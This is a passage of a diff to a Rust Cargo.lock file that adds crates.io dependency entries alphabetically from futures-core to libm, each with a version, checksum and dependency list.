"futures-core", + "lock_api", + "parking_lot", +] + +[[package]] +name = "futures-io" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cecba35d7ad927e23624b22ad55235f2239cfa44fd10428eecbeba6d6a717718" + +[[package]] +name = "futures-lite" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49a9d51ce47660b1e808d3c990b4709f2f415d928835a17dfd16991515c46bce" +dependencies = [ + "fastrand 1.9.0", + "futures-core", + "futures-io", + "memchr", + "parking", + "pin-project-lite", + "waker-fn", +] + +[[package]] +name = "futures-lite" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f78e10609fe0e0b3f4157ffab1876319b5b0db102a2c60dc4626306dc46b44ad" +dependencies = [ + "fastrand 2.4.1", + "futures-core", + "futures-io", + "parking", + "pin-project-lite", +] + +[[package]] +name = "futures-macro" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e835b70203e41293343137df5c0664546da5745f82ec9b84d40be8336958447b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "futures-sink" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c39754e157331b013978ec91992bde1ac089843443c49cbc7f46150b0fad0893" + +[[package]] +name = "futures-task" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "037711b3d59c33004d3856fbdc83b99d4ff37a24768fa1be9ce3538a1cde4393" + +[[package]] +name = "futures-timer" +version = "3.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f288b0a4f20f9a56b5d1da57e2227c661b7b16168e2f72365f57b63326e29b24" + +[[package]] +name = "futures-util" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "389ca41296e6190b48053de0321d02a77f32f8a5d2461dd38762c0593805c6d6" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "slab", +] + +[[package]] +name = "fuzzy-matcher" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "54614a3312934d066701a80f20f15fa3b56d67ac7722b39eea5b4c9dd1d66c94" +dependencies = [ + "thread_local", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", + "zeroize", +] + +[[package]] +name = "generic-array" +version = "1.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eaf57c49a95fd1fe24b90b3033bee6dc7e8f1288d51494cb44e627c295e38542" +dependencies = [ + "generic-array 0.14.7", + "rustversion", + "typenum", +] + +[[package]] +name = "gethostname" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1ebd34e35c46e00bb73e81363248d627782724609fe1b6396f553f68fe3862e" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "getrandom" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.9.0+wasi-snapshot-preview1", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "wasi 0.11.1+wasi-snapshot-preview1", + "wasm-bindgen", +] + +[[package]] +name = "getrandom" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "r-efi 5.3.0", + "wasip2", + "wasm-bindgen", +] + +[[package]] +name = "getrandom" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de51e6874e94e7bf76d726fc5d13ba782deca734ff60d5bb2fb2607c7406555" +dependencies = [ + "cfg-if", + "libc", + "r-efi 6.0.0", + "wasip2", + "wasip3", +] + +[[package]] +name = "ghash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0d8a4362ccb29cb0b265253fb0a2728f592895ee6854fd9bc13f2ffda266ff1" +dependencies = [ + "opaque-debug", + "polyval", +] + +[[package]] +name = "gherkin" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70197ce7751bfe8bc828e3a855502d3a869a1e9416b58b10c4bde5cf8a0a3cb3" +dependencies = [ + "heck", + "peg", + "quote", + "serde", + "serde_json", + "syn 2.0.117", + "textwrap", + "thiserror 2.0.18", + "typed-builder", +] + +[[package]] +name = "glob" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0cc23270f6e1808e30a928bdc84dea0b9b4136a8bc82338574f23baf47bbd280" + +[[package]] +name = "globset" +version = "0.4.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52dfc19153a48bde0cbd630453615c8151bce3a5adfac7a0aebfbf0a1e1f57e3" +dependencies = [ + "aho-corasick", + "bstr", + "log", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "globwalk" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf760ebf69878d9fd8f110c89703d90ce35095324d1f1edcb595c63945ee757" +dependencies = [ + "bitflags 2.11.0", + "ignore", + "walkdir", +] + +[[package]] +name = "gloo-timers" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbb143cf96099802033e0d4f4963b19fd2e0b728bcf076cd9cf7f6634f092994" +dependencies = [ + "futures-channel", + "futures-core", + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "group" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0f9ef7462f7c099f518d754361858f86d8a07af53ba9af0fe635bbccb151a63" +dependencies = [ + "ff", + "rand_core 0.6.4", + "subtle", +] + +[[package]] +name = "h2" +version = "0.3.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0beca50380b1fc32983fc1cb4587bfa4bb9e78fc259aad4a0032d2080309222d" +dependencies = [ + "bytes", + "fnv", + "futures-core", + "futures-sink", + "futures-util", + "http 0.2.12", + "indexmap 2.14.0", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "h2" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f44da3a8150a6703ed5d34e164b875fd14c2cdab9af1252a9a1020bde2bdc54" +dependencies = [ + "atomic-waker", + "bytes", + "fnv", + "futures-core", + "futures-sink", + "http 1.4.0", + "indexmap 2.14.0", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" +dependencies = [ + "ahash 0.7.8", +] + +[[package]] +name = "hashbrown" +version = "0.14.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1" +dependencies = [ + "ahash 0.8.12", +] + +[[package]] +name = "hashbrown" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" +dependencies = [ + "allocator-api2", + "equivalent", + "foldhash", +] + +[[package]] +name = "hashbrown" +version = "0.17.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a" + +[[package]] +name = "hashlink" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ba4ff7128dee98c7dc9794b6a411377e1404dba1c97deb8d1a55297bd25d8af" +dependencies = [ + "hashbrown 0.14.5", +] + +[[package]] +name = "hashlink" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7382cf6263419f2d8df38c55d7da83da5c18aef87fc7a7fc1fb1e344edfe14c1" +dependencies = [ + "hashbrown 0.15.5", +] + +[[package]] +name = "hax-lib" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74d9ba66d1739c68e0219b2b2238b5c4145f491ebf181b9c6ab561a19352ae86" +dependencies = [ + "hax-lib-macros", + "num-bigint", + "num-traits", +] + +[[package]] +name = "hax-lib-macros" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24ba777a231a58d1bce1d68313fa6b6afcc7966adef23d60f45b8a2b9b688bf1" +dependencies = [ + "hax-lib-macros-types", + "proc-macro-error2", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "hax-lib-macros-types" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "867e19177d7425140b417cd27c2e05320e727ee682e98368f88b7194e80ad515" +dependencies = [ + "proc-macro2", + "quote", + "serde", + "serde_json", + "uuid", +] + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "hermit-abi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024" + +[[package]] +name = "hermit-abi" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc0fef456e4baa96da950455cd02c081ca953b141298e41db3fc7e36b1da849c" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "hex-literal" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fe2267d4ed49bc07b63801559be28c718ea06c4738b7a03c94df7386d2cde46" + +[[package]] +name = "hkdf" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" +dependencies = [ + "hmac", +] + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest 0.10.7", +] + +[[package]] +name = "home" +version = "0.5.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc627f471c528ff0c4a49e1d5e60450c8f6461dd6d10ba9dcd3a61d3dff7728d" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "http" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "601cbb57e577e2f5ef5be8e7b83f0f63994f25aa94d673e54a92d5c516d101f1" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "http" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3ba2a386d7f85a81f119ad7498ebe444d2e22c2af0b86b069416ace48b3311a" +dependencies = [ + "bytes", + "itoa", +] + +[[package]] +name = "http-body" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2" +dependencies = [ + "bytes", + "http 0.2.12", + "pin-project-lite", +] + +[[package]] +name = "http-body" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1efedce1fb8e6913f23e0c92de8e62cd5b772a67e7b3946df930a62566c93184" +dependencies = [ + "bytes", + "http 1.4.0", +] + +[[package]] +name = "http-body-util" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b021d93e26becf5dc7e1b75b1bed1fd93124b374ceb73f43d4d4eafec896a64a" +dependencies = [ + "bytes", + "futures-core", + "http 1.4.0", + "http-body 1.0.1", + "pin-project-lite", +] + +[[package]] +name = "http-range" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21dec9db110f5f872ed9699c3ecf50cf16f423502706ba5c72462e28d3157573" + +[[package]] +name = "http-types" +version = "2.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e9b187a72d63adbfba487f48095306ac823049cb504ee195541e91c7775f5ad" +dependencies = [ + "anyhow", + "async-channel 1.9.0", + "base64 0.13.1", + "futures-lite 1.13.0", + "http 0.2.12", + "infer", + "pin-project-lite", + "rand 0.7.3", + "serde", + "serde_json", + "serde_qs", + "serde_urlencoded", + "url", +] + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "humansize" +version = "2.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6cb51c9a029ddc91b07a787f1d86b53ccfa49b0e86688c946ebe8d3555685dd7" +dependencies = [ + "libm", +] + +[[package]] +name = "humantime" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "135b12329e5e3ce057a9f972339ea52bc954fe1e9358ef27f95e89716fbc5424" + +[[package]] +name = "hybrid-array" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3944cf8cf766b40e2a1a333ee5e9b563f854d5fa49d6a8ca2764e97c6eddb214" +dependencies = [ + "typenum", +] + +[[package]] +name = "hyper" +version = "0.14.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41dfc780fdec9373c01bae43289ea34c972e40ee3c9f6b3c8801a35f35586ce7" +dependencies = [ + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "h2 0.3.27", + "http 0.2.12", + "http-body 0.4.6", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "socket2 0.5.10", + "tokio", + "tower-service", + "tracing", + "want", +] + +[[package]] +name = "hyper" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6299f016b246a94207e63da54dbe807655bf9e00044f73ded42c3ac5305fbcca" +dependencies = [ + "atomic-waker", + "bytes", + "futures-channel", + "futures-core", + "h2 0.4.13", + "http 1.4.0", + "http-body 1.0.1", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "smallvec", + "tokio", +] + +[[package]] +name = "hyper-timeout" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbb958482e8c7be4bc3cf272a766a2b0bf1a6755e7a6ae777f017a31d11b13b1" +dependencies = [ + "hyper 0.14.32", + "pin-project-lite", + "tokio", + "tokio-io-timeout", +] + +[[package]] +name = "hyper-tls" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905" +dependencies = [ + "bytes", + "hyper 0.14.32", + "native-tls", + "tokio", + "tokio-native-tls", +] + +[[package]] +name = "hyper-util" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96547c2556ec9d12fb1578c4eaf448b04993e7fb79cbaad930a656880a6bdfa0" +dependencies = [ + "bytes", + "http 1.4.0", + "http-body 1.0.1", + "hyper 1.9.0", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "iana-time-zone" +version = "0.1.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "log", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "icu_collections" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2984d1cd16c883d7935b9e07e44071dca8d917fd52ecc02c04d5fa0b5a3f191c" +dependencies = [ + "displaydoc", + "potential_utf", + "utf8_iter", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locale_core" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92219b62b3e2b4d88ac5119f8904c10f8f61bf7e95b640d25ba3075e6cac2c29" +dependencies = [ + "displaydoc", + "litemap", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_normalizer" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c56e5ee99d6e3d33bd91c5d85458b6005a22140021cc324cea84dd0e72cff3b4" +dependencies = [ + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da3be0ae77ea334f4da67c12f149704f19f81d1adf7c51cf482943e84a2bad38" + +[[package]] +name = "icu_properties" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bee3b67d0ea5c2cca5003417989af8996f8604e34fb9ddf96208a033901e70de" +dependencies = [ + "icu_collections", + "icu_locale_core", + "icu_properties_data", + "icu_provider", + "zerotrie", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e2bbb201e0c04f7b4b3e14382af113e17ba4f63e2c9d2ee626b720cbce54a14" + +[[package]] +name = "icu_provider" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "139c4cf31c8b5f33d7e199446eff9c1e02decfc2f0eec2c8d71f65befa45b421" +dependencies = [ + "displaydoc", + "icu_locale_core", + "writeable", + "yoke", + "zerofrom", + "zerotrie", + "zerovec", +] + +[[package]] +name = "id-arena" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954" + +[[package]] +name = "ident_case" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" + +[[package]] +name = "idna" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b0875f23caa03898994f6ddc501886a45c7d3d62d04d2d90788d47be1b1e4de" +dependencies = [ + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3acae9609540aa318d1bc588455225fb2085b9ed0c4f6bd0d9d5bcd86f1a0344" +dependencies = [ + "icu_normalizer", + "icu_properties", +] + +[[package]] +name = "ignore" +version = "0.4.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3d782a365a015e0f5c04902246139249abf769125006fbe7649e2ee88169b4a" +dependencies = [ + "crossbeam-deque", + "globset", + "log", + "memchr", + "regex-automata", + "same-file", + "walkdir", + "winapi-util", +] + +[[package]] +name = "imap-proto" +version = "0.16.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25f6af35c6a517aea5c72314abe90134980d2ae6a763809b50c208b3e429d71f" +dependencies = [ + "nom 7.1.3", +] + +[[package]] +name = "impl-more" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8a5a9a0ff0086c7a148acb942baaabeadf9504d10400b5a05645853729b9cd2" + +[[package]] +name = "indexmap" +version = "1.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" +dependencies = [ + "autocfg", + "hashbrown 0.12.3", +] + +[[package]] +name = "indexmap" +version = "2.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d466e9454f08e4a911e14806c24e16fba1b4c121d1ea474396f396069cf949d9" +dependencies = [ + "equivalent", + "hashbrown 0.17.1", + "serde", + "serde_core", +] + +[[package]] +name = "indicatif" +version = "0.17.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "183b3088984b400f4cfac3620d5e076c84da5364016b4f49473de574b2586235" +dependencies = [ + "console 0.15.11", + "number_prefix", + "portable-atomic", + "unicode-width", + "web-time", +] + +[[package]] +name = "infer" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64e9829a50b42bb782c1df523f78d332fe371b10c661e78b7a3c34b0198e9fac" + +[[package]] +name = "inflections" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a257582fdcde896fd96463bf2d40eefea0580021c0712a0e2b028b60b47a837a" + +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "block-padding", + "generic-array 0.14.7", +] + +[[package]] +name = "instant" +version = "0.1.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e0242819d153cba4b4b05a5a8f2a7e9bbf97b6055b2a002b395c96b5ff3c0222" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "internal-russh-forked-ssh-key" +version = "0.6.16+upstream-0.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe44f2bbd99fcb302e246e2d6bcf51aeda346d02a365f80296a07a8c711b6da6" +dependencies = [ + "argon2", + "bcrypt-pbkdf", + "digest 0.11.2", + "ecdsa", + "ed25519-dalek", + "hex", + "hmac", + "num-bigint-dig", + "p256", + "p384", + "p521", + "rand_core 0.6.4", + "rsa 0.10.0-rc.12", + "sec1", + "sha1 0.10.6", + "sha1 0.11.0", + "sha2 0.10.9", + "signature 2.2.0", + "signature 3.0.0-rc.6", + "ssh-cipher", + "ssh-encoding", + "subtle", + "zeroize", +] + +[[package]] +name = "inventory" +version = "0.3.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4f0c30c76f2f4ccee3fe55a2435f691ca00c0e4bd87abe4f4a851b1d4dac39b" +dependencies = [ + "rustversion", +] + +[[package]] +name = "io-lifetimes" +version = "1.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2" +dependencies = [ + "hermit-abi 0.3.9", + "libc", + "windows-sys 0.48.0", +] + +[[package]] +name = "ipnet" +version = "2.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d98f6fed1fde3f8c21bc40a1abb88dd75e67924f9cffc3ef95607bad8017f8e2" + +[[package]] +name = "ipnetwork" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf466541e9d546596ee94f9f69590f89473455f88372423e0008fc1a7daf100e" +dependencies = [ + "serde", +] + +[[package]] +name = "is-terminal" +version = "0.4.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3640c1c38b8e4e43584d8df18be5fc6b0aa314ce6ebf51b53313d4306cca8e46" +dependencies = [ + "hermit-abi 0.5.2", + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "is_terminal_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695" + +[[package]] +name = "itertools" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" +dependencies = [ + "either", +] + +[[package]] +name = "itertools" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "413ee7dfc52ee1a4949ceeb7dbc8a33f2d6c088194d9f922fb8318faf1f01186" +dependencies = [ + "either", +] + +[[package]] +name = "itertools" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b192c782037fadd9cfa75548310488aabdbf3d2da73885b31bd0abd03351285" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "jobserver" +version = "0.1.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9afb3de4395d6b3e67a780b6de64b51c978ecf11cb9a462c66be7d4ca9039d33" +dependencies = [ + "getrandom 0.3.4", + "libc", +] + +[[package]] +name = "js-sys" +version = "0.3.94" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e04e2ef80ce82e13552136fabeef8a5ed1f985a96805761cbb9a2c34e7664d9" +dependencies = [ + "cfg-if", + "futures-util", + "once_cell", + "wasm-bindgen", +] + +[[package]] +name = "json5" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96b0db21af676c1ce64250b5f40f3ce2cf27e4e47cb91ed91eb6fe9350b430c1" +dependencies = [ + "pest", + "pest_derive", + "serde", +] + +[[package]] +name = "kv-log-macro" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de8b303297635ad57c9f5059fd9cee7a47f8e8daa09df0fcd07dd39fb22977f" +dependencies = [ + "log", +] + +[[package]] +name = "language-tags" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4345964bb142484797b161f473a503a434de77149dd8c7427788c6e13379388" + +[[package]] +name = "lapin" +version = "2.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02d2aa4725b9607915fa1a73e940710a3be6af508ce700e56897cbe8847fbb07" +dependencies = [ + "amq-protocol", + "async-global-executor-trait", + "async-reactor-trait", + "async-trait", + "executor-trait", + "flume", + "futures-core", + "futures-io", + "parking_lot", + "pinky-swear", + "reactor-trait", + "serde", + "serde_json", + "tracing", + "waker-fn", +] + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" +dependencies = [ + "spin 0.9.8", +] + +[[package]] +name = "leb128fmt" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09edd9e8b54e49e587e4f6295a7d29c3ea94d469cb40ab8ca70b288248a81db2" + +[[package]] +name = "lettre" +version = "0.11.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0da65617f6cb926332d039cb578aad56178da86e128db6a1b09f4c94fa5b3349" +dependencies = [ + "async-trait", + "base64 0.22.1", + "email-encoding", + "email_address", + "fastrand 2.4.1", + "futures-io", + "futures-util", + "httpdate", + "idna", + "mime", + "nom 8.0.0", + "percent-encoding", + "quoted_printable", + "rustls 0.23.37", + "socket2 0.6.3", + "tokio", + "tokio-rustls 0.26.4", + "url", + "webpki-roots 1.0.6", +] + +[[package]] +name = "libc" +version = "0.2.184" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48f5d2a454e16a5ea0f4ced81bd44e4cfc7bd3a507b61887c99fd3538b28e4af" + +[[package]] +name = "libcrux-intrinsics" +version = "0.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc9ee7ef66569dd7516454fe26de4e401c0c62073929803486b96744594b9632" +dependencies = [ + "core-models", + "hax-lib", +] + +[[package]] +name = "libcrux-ml-kem" +version = "0.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4bb6a88086bf11bd2ec90926c749c4a427f2e59841437dbdede8cde8a96334ab" +dependencies = [ + "hax-lib", + "libcrux-intrinsics", + "libcrux-platform", + "libcrux-secrets", + "libcrux-sha3", + "libcrux-traits", + "rand 0.9.2", + "tls_codec", +] + +[[package]] +name = "libcrux-platform" +version = "0.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db82d058aa76ea315a3b2092f69dfbd67ddb0e462038a206e1dcd73f058c0778" +dependencies = [ + "libc", +] + +[[package]] +name = "libcrux-secrets" +version = "0.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e4dbbf6bc9f2bc0f20dc3bea3e5c99adff3bdccf6d2a40488963da69e2ec307" +dependencies = [ + "hax-lib", +] + +[[package]] +name = "libcrux-sha3" +version = "0.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2400bec764d1c75b8a496d5747cffe32f1fb864a12577f0aca2f55a92021c962" +dependencies = [ + "hax-lib", + "libcrux-intrinsics", + "libcrux-platform", + "libcrux-traits", +] + +[[package]] +name = "libcrux-traits" +version = "0.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9adfd58e79d860f6b9e40e35127bfae9e5bd3ade33201d1347459011a2add034" +dependencies = [ + "libcrux-secrets", + "rand 0.9.2", +] + +[[package]] +name = "libm" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 